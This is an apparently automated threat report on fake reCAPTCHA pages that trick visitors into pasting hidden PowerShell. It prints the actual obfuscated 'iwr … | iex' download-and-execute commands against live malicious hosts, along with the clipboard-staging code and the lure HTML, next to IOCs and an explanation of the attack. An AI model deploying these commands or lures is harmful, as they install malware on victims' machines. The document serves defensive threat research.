POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://laborpartyjo.com/",
  "Timestamp": "2025-04-17 21:40:12",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.thesignaturemag.salviatech.com/",
  "Timestamp": "2025-04-17 21:40:12",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

PowErsHeLL -W hiddEn "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.test.peperoncinochepassione.it/",
  "Timestamp": "2025-04-17 21:40:13",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=",
    "Decoded": "iex (iwr 'https://nicostudio.it/pZJHqter.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "PowErsHeLL -W hiddEn \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...dC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://browser.certif-update.website/
URL	https://browser.certif-update.website/

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://mail.cambodiatouristservice.com/",
  "Timestamp": "2025-04-17 21:40:14",
  "Urls": [
    "https://browser.certif-update.website/",
    "https://browser.certif-update.website/"
  ]
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://www.ningbocrm.jintsume.net/",
  "Timestamp": "2025-04-17 21:40:15",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

PowErsHeLL -W hiddEn "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "https://my.salviatech.com/",
  "Timestamp": "2025-04-17 21:40:15",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=",
    "Decoded": "iex (iwr 'https://nicostudio.it/pZJHqter.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "PowErsHeLL -W hiddEn \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vbmljb3N0dWRpby5pdC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...dC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png

Suspicious Patterns

PowerShell Commands

Clipboard Manipulation

Suspicious Keywords

CAPTCHA References

PowerShell Downloads

Malicious Code Sample

POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`;

Warning: This code is malicious and should not be executed

JSON Technical Data

{
  "Url": "http://82.146.62.232/",
  "Timestamp": "2025-04-17 21:40:16",
  "Base64Strings": {
    "Base64": "aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50",
    "Decoded": "iex (iwr 'https://amazon-ny-gifts.com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem.txt' -UseBasicParsing).Content"
  },
  "Urls": [
    "https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css",
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png"
  ],
  "PowerShellCommands": "POWerShEll -W h \"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`;\r",
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...y.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempText..."
  ],
  "PowerShellDownloads": {
    "FullMatch": "| iex",
    "Context": "...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex\"`; stageClipboard(commandToRun, verification_id); }..."
  }
}

Indicators of Compromise

Type	Value
URL	https://use.fontawesome.com/releases/v5.0.0/css/all.css
URL	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
URL	https://www.google.com/intl/en/policies/privacy/
URL	https://www.google.com/intl/en/policies/terms/

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "http://101.32.40.22/",
  "Timestamp": "2025-04-17 21:40:16",
  "Urls": [
    "https://use.fontawesome.com/releases/v5.0.0/css/all.css",
    "https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png",
    "https://www.google.com/intl/en/policies/privacy/",
    "https://www.google.com/intl/en/policies/terms/"
  ],
  "SuspiciousKeywords": [
    "\u2705",
    "I am not a robot",
    "Verification ID",
    "reCAPTCHA Verification"
  ],
  "ClipboardManipulation": [
    "...); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextArea); }...",
    "...dy.append(tempTextArea); tempTextArea.select(); document.execCommand(\"copy\"); document.body.removeChild(tempTextAr..."
  ]
}

Indicators of Compromise

Type	Value
URL	http://www.w3.org/1999/xhtml
URL	http://www.google.com/2005/gml/b
URL	http://www.google.com/2005/gml/data
URL	http://www.google.com/2005/gml/expr
URL	https://electricreport.org/ygd4g
URL	https://staplebrokenmetaliyro.blogspot.com/favicon.ico
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default
URL	https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default?alt=rss
URL	https://www.blogger.com/feeds/3967763303726818370/posts/default
URL	https://www.blogger.com/profile/02686294779557843862
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://www.blogblog.com/indie/mspin_black_large.svg
URL	https://www.blogblog.com/indie/mspin_white_large.svg
URL	https://themes.googleusercontent.com/image?id=L1lcAxxz0CLgsDzixEprHJ2F38TyEjCyE3RSAjynQDks0lT1BDc1OxXKaTEdLc89HPvdB11X9FDw
URL	http://www.offset.com/photos/394244
URL	https://www.gstatic.com/external_hosted/clipboardjs/clipboard.min.js
URL	http://www.w3.org/1999/xlink
URL	http://www.w3.org/1999/xlink
URL	https://staplebrokenmetaliyro.blogspot.com/search
URL	https://www.blogger.com
URL	http://www.w3.org/1999/xlink
URL	http://www.offset.com/photos/394244
URL	http://www.w3.org/1999/xlink
URL	https://www.blogger.com/profile/02686294779557843862
URL	http://www.w3.org/1999/xlink
URL	https://www.blogger.com/profile/02686294779557843862
URL	https://www.blogger.com/profile/02686294779557843862
URL	https://www.blogger.com/go/report-abuse
URL	https://resources.blogblog.com/blogblog/data/res/2796432393-indie_compiled.js
URL	https://www.blogger.com/static/v1/widgets/2218197725-widgets.js
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://staplebrokenmetaliyro.blogspot.com/search
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://staplebrokenmetaliyro.blogspot.com/favicon.ico
URL	https://www.blogger.com
URL	https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default\x22
URL	https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default?alt\x3drss\x22
URL	https://www.blogger.com/feeds/3967763303726818370/posts/default\x22
URL	https://www.blogger.com/profile/02686294779557843862\x22
URL	https://apis.google.com/js/platform.js
URL	https://staplebrokenmetaliyro.blogspot.com/
URL	https://www.blogger.com/static/v1/jsbin/709570948-lbx.js
URL	https://www.blogger.com/static/v1/v-css/3681588378-lightbox_bundle.css

Malicious Code Sample

No malicious code sample extracted from this URL

JSON Technical Data

{
  "Url": "https://staplebrokenmetaliyro.blogspot.com/",
  "Timestamp": "2025-04-17 21:40:17",
  "Urls": [
    "http://www.w3.org/1999/xhtml",
    "http://www.google.com/2005/gml/b",
    "http://www.google.com/2005/gml/data",
    "http://www.google.com/2005/gml/expr",
    "https://electricreport.org/ygd4g",
    "https://staplebrokenmetaliyro.blogspot.com/favicon.ico",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default",
    "https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default?alt=rss",
    "https://www.blogger.com/feeds/3967763303726818370/posts/default",
    "https://www.blogger.com/profile/02686294779557843862",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://www.blogblog.com/indie/mspin_black_large.svg",
    "https://www.blogblog.com/indie/mspin_white_large.svg",
    "https://themes.googleusercontent.com/image?id=L1lcAxxz0CLgsDzixEprHJ2F38TyEjCyE3RSAjynQDks0lT1BDc1OxXKaTEdLc89HPvdB11X9FDw",
    "http://www.offset.com/photos/394244",
    "https://www.gstatic.com/external_hosted/clipboardjs/clipboard.min.js",
    "http://www.w3.org/1999/xlink",
    "http://www.w3.org/1999/xlink",
    "https://staplebrokenmetaliyro.blogspot.com/search",
    "https://www.blogger.com",
    "http://www.w3.org/1999/xlink",
    "http://www.offset.com/photos/394244",
    "http://www.w3.org/1999/xlink",
    "https://www.blogger.com/profile/02686294779557843862",
    "http://www.w3.org/1999/xlink",
    "https://www.blogger.com/profile/02686294779557843862",
    "https://www.blogger.com/profile/02686294779557843862",
    "https://www.blogger.com/go/report-abuse",
    "https://resources.blogblog.com/blogblog/data/res/2796432393-indie_compiled.js",
    "https://www.blogger.com/static/v1/widgets/2218197725-widgets.js",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://staplebrokenmetaliyro.blogspot.com/search",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://staplebrokenmetaliyro.blogspot.com/favicon.ico",
    "https://www.blogger.com",
    "https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default\\x22",
    "https://staplebrokenmetaliyro.blogspot.com/feeds/posts/default?alt\\x3drss\\x22",
    "https://www.blogger.com/feeds/3967763303726818370/posts/default\\x22",
    "https://www.blogger.com/profile/02686294779557843862\\x22",
    "https://apis.google.com/js/platform.js",
    "https://staplebrokenmetaliyro.blogspot.com/",
    "https://www.blogger.com/static/v1/jsbin/709570948-lbx.js",
    "https://www.blogger.com/static/v1/v-css/3681588378-lightbox_bundle.css"
  ],
  "ClipboardManipulation": "...ync' src='https://www.gstatic.com/external_hosted/clipboardjs/clipboard.min.js'></script> <meta name='google-adsense-platform-account' content='ca-hos..."
}

Technical Analysis

ClickGrab Threat Analysis Report - 2025-04-27

Most Common External Domains

www.google.com: 26 occurrences
use.fontawesome.com: 17 occurrences
staplebrokenmetaliyro.blogspot.com: 15 occurrences
cdnjs.cloudflare.com: 14 occurrences
www.blogger.com: 13 occurrences
www.webgo.de: 10 occurrences
www.w3.org: 6 occurrences
t.me: 5 occurrences
browser.certif-update.website: 4 occurrences
www.blogblog.com: 2 occurrences

Common Pattern Analysis

reCAPTCHA imagery (17 occurrences, 1 distinct URLs)

https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (17 times)

Font resources (31 occurrences, 2 distinct URLs)

https://use.fontawesome.com/releases/v5.0.0/css/all.css (17 times)
https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (14 times)

CDN hosted scripts (15 occurrences, 2 distinct URLs)

https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css (14 times)
https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1 (1 times)

Google resources (28 occurrences, 8 distinct URLs)

https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (17 times)
https://www.google.com/intl/en/policies/privacy/ (3 times)
https://www.google.com/intl/en/policies/terms/ (3 times)
http://www.google.com/2005/gml/b (1 times)
http://www.google.com/2005/gml/data (1 times)
...and 3 more distinct URLs

JavaScript Clipboard Analysis

Found clipboard manipulation code snippets in 34 places

document.execCommand copy

Found in 34 snippets (100.0% of clipboard code)

Examples:

document.execCommand("copy")

textarea manipulation

Found in 34 snippets (100.0% of clipboard code)

Fake CAPTCHA HTML Examples

Here's how the fake CAPTCHA verification appears in HTML:

Example 1:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Example 2:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>

Command Context Analysis

Found 20 PowerShell download context snippets

stageClipboard Function

Found 14 references to stageClipboard function

Example stageClipboard contexts:

Example 1:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 2:

...dC9wWkpIcXRlci50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Example 3:

...eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex"`; stageClipboard(commandToRun, verification_id); }...

Malicious Commands

Found 3 commandToRun declarations

Malicious commands being prepared for clipboard:

Example 1:

Command:

powershell

Context:

 = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaPat...

Example 2:

Command:

powershell

Context:

...idden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaPat...

Example 3:

Command:

powershell

Context:

 = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " +...

PowerShell Parameters

Found 2 htaPath declarations

Malicious PowerShell parameters:

Example 1:

Parameters:

-w hidden -c \

Context:

...d; const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaP

Example 2:

Parameters:

-w hidden -c \

Context:

...const htaPath = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " +...

Clipboard Attack Pattern Analysis

Based on the data analyzed, here's the complete clipboard attack pattern:

1. Initial Victim Engagement

Victim is shown a fake CAPTCHA verification UI with Google reCAPTCHA branding

Common elements found: - Google reCAPTCHA logo image - Font resources from CDNs - "I am not a robot" checkbox

Example Fake CAPTCHA HTML:

<div class="recaptcha-box">

            <h2>Verify You Are Human</h2>

            <p>Please verify that you are a human to continue.</p>

<div class="container m-p">    

        <div id="checkbox-window" class="checkbox-window m-p block">

            <div class="checkbox-container m-p">

                <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>

            </div>...

2. Malicious Code Preparation

When user clicks the verification checkbox:

A 'commandToRun' variable is set with a malicious PowerShell command
The command is typically obfuscated and often downloads second-stage payloads
Common download destinations include:

Example Command Preparation Code:

 = "-w hidden -c \"iwr 'https://yogasitesdev.wpengine.com/2/15.ps1' | iex\""; const commandToRun = "powershell " + htaPat...

3. Clipboard Hijacking

The malicious command is copied to the user's clipboard:

A temporary textarea element is created
The command is combined with verification text like "[CHECKMARK] I am not a robot"
document.execCommand("copy") is used to copy to clipboard
The temporary element is removed from the DOM

4. Social Engineering Component

User sees a success message:

The verification UI shows success with a checkmark symbol
User is told they've passed verification
The clipboard now contains the malicious command + verification text

5. Attack Objective

Final stage of the attack:

When user pastes the clipboard contents elsewhere (like in terminal)
They see what looks like verification text
But the PowerShell command at the start gets executed
This downloads and runs additional malware from attacker-controlled servers

Reconstructed Attack Example

What's copied to clipboard:

powershell  # [CHECKMARK] 'I am not a robot - reCAPTCHA Verification Hash: XY12Z345'

What user sees when pasting: A verification success message

What actually happens: PowerShell executes the hidden malicious command

Conclusion

This is a sophisticated social engineering attack that tricks users into:

Thinking they're completing a legitimate CAPTCHA
Unknowingly copying malicious code to their clipboard
Executing malware when they paste what they think is just verification text

Statistics

Total sites analyzed: 29
Sites with malicious content: 17
Total unique domains: 18
Total URLs extracted: 121